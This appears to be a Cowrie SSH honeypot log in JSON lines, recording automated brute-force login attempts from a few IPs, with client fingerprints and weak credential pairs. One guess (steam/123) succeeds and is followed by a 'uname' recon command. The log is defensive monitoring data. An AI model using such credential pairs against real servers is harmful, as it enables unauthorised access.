{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:01.547719Z","src_ip":"141.11.88.14","session":"14a5afae649d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:01.650597Z","src_ip":"141.11.88.14","session":"14a5afae649d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arm","password":"arm","message":"login attempt [arm/arm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:02.166888Z","src_ip":"141.11.88.14","session":"14a5afae649d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:03.357658Z","src_ip":"141.11.88.14","session":"14a5afae649d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":50506,"dst_ip":"10.17.0.5","dst_port":22,"session":"36f0b1da6e2f","protocol":"ssh","message":"New connection: 141.11.88.14:50506 (10.17.0.5:22) [session: 36f0b1da6e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:11.542280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:11.546424Z","src_ip":"141.11.88.14","session":"36f0b1da6e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:11.710748Z","src_ip":"141.11.88.14","session":"36f0b1da6e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12","message":"login attempt [root/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:12.237556Z","src_ip":"141.11.88.14","session":"36f0b1da6e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:13.799057Z","src_ip":"141.11.88.14","session":"36f0b1da6e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":58446,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f54875f1240","protocol":"ssh","message":"New connection: 41.86.34.139:58446 (10.17.0.5:22) [session: 4f54875f1240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:18.310259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:18.314713Z","src_ip":"41.86.34.139","session":"4f54875f1240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44542,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eadd682b3c2","protocol":"ssh","message":"New connection: 141.11.88.14:44542 (10.17.0.5:22) [session: 2eadd682b3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:18.381626Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:18.522693Z","src_ip":"41.86.34.139","session":"4f54875f1240","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:18.708628Z","src_ip":"141.11.88.14","session":"2eadd682b3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:18.711933Z","src_ip":"141.11.88.14","session":"2eadd682b3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa112233","message":"login attempt [root/aa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:19.387392Z","src_ip":"41.86.34.139","session":"4f54875f1240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:20.597114Z","src_ip":"41.86.34.139","session":"4f54875f1240","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:20.834564Z","src_ip":"141.11.88.14","session":"2eadd682b3c2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:21.667152Z","src_ip":"141.11.88.14","session":"2eadd682b3c2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:21.670749Z","src_ip":"141.11.88.14","session":"2eadd682b3c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.17","src_port":33290,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2172eb8f976","protocol":"ssh","message":"New connection: 101.96.195.17:33290 (10.17.0.5:22) [session: b2172eb8f976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:21.946937Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:21.956978Z","src_ip":"141.11.88.14","session":"2eadd682b3c2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:21.960693Z","src_ip":"101.96.195.17","session":"b2172eb8f976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:21.966145Z","src_ip":"141.11.88.14","session":"2eadd682b3c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:22.189853Z","src_ip":"101.96.195.17","session":"b2172eb8f976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:23.148955Z","src_ip":"101.96.195.17","session":"b2172eb8f976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:24.394937Z","src_ip":"101.96.195.17","session":"b2172eb8f976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44618,"dst_ip":"10.17.0.5","dst_port":22,"session":"98055fa2ace5","protocol":"ssh","message":"New connection: 141.11.88.14:44618 (10.17.0.5:22) [session: 98055fa2ace5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:24.815913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:25.750327Z","src_ip":"141.11.88.14","session":"98055fa2ace5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:25.753950Z","src_ip":"141.11.88.14","session":"98055fa2ace5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123","message":"login attempt [claude/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:27.866466Z","src_ip":"141.11.88.14","session":"98055fa2ace5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:29.232756Z","src_ip":"141.11.88.14","session":"98055fa2ace5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11846,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef67b4bbd18e","protocol":"ssh","message":"New connection: 141.11.88.14:11846 (10.17.0.5:22) [session: ef67b4bbd18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:32.793445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:33.165840Z","src_ip":"141.11.88.14","session":"ef67b4bbd18e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:33.169289Z","src_ip":"141.11.88.14","session":"ef67b4bbd18e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"123456","message":"login attempt [anna/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:35.068933Z","src_ip":"141.11.88.14","session":"ef67b4bbd18e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:36.643020Z","src_ip":"141.11.88.14","session":"ef67b4bbd18e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52146,"dst_ip":"10.17.0.5","dst_port":22,"session":"662491d195fc","protocol":"ssh","message":"New connection: 141.11.88.14:52146 (10.17.0.5:22) [session: 662491d195fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:39.110660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:39.282534Z","src_ip":"141.11.88.14","session":"662491d195fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:39.286066Z","src_ip":"141.11.88.14","session":"662491d195fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:41.362883Z","src_ip":"141.11.88.14","session":"662491d195fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:42.710430Z","src_ip":"141.11.88.14","session":"662491d195fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":52204,"dst_ip":"10.17.0.5","dst_port":22,"session":"25efe377649f","protocol":"ssh","message":"New connection: 141.11.88.14:52204 (10.17.0.5:22) [session: 25efe377649f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:45.716698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:09:46.135140Z","src_ip":"141.11.88.14","session":"25efe377649f","protocol":"ssh"}
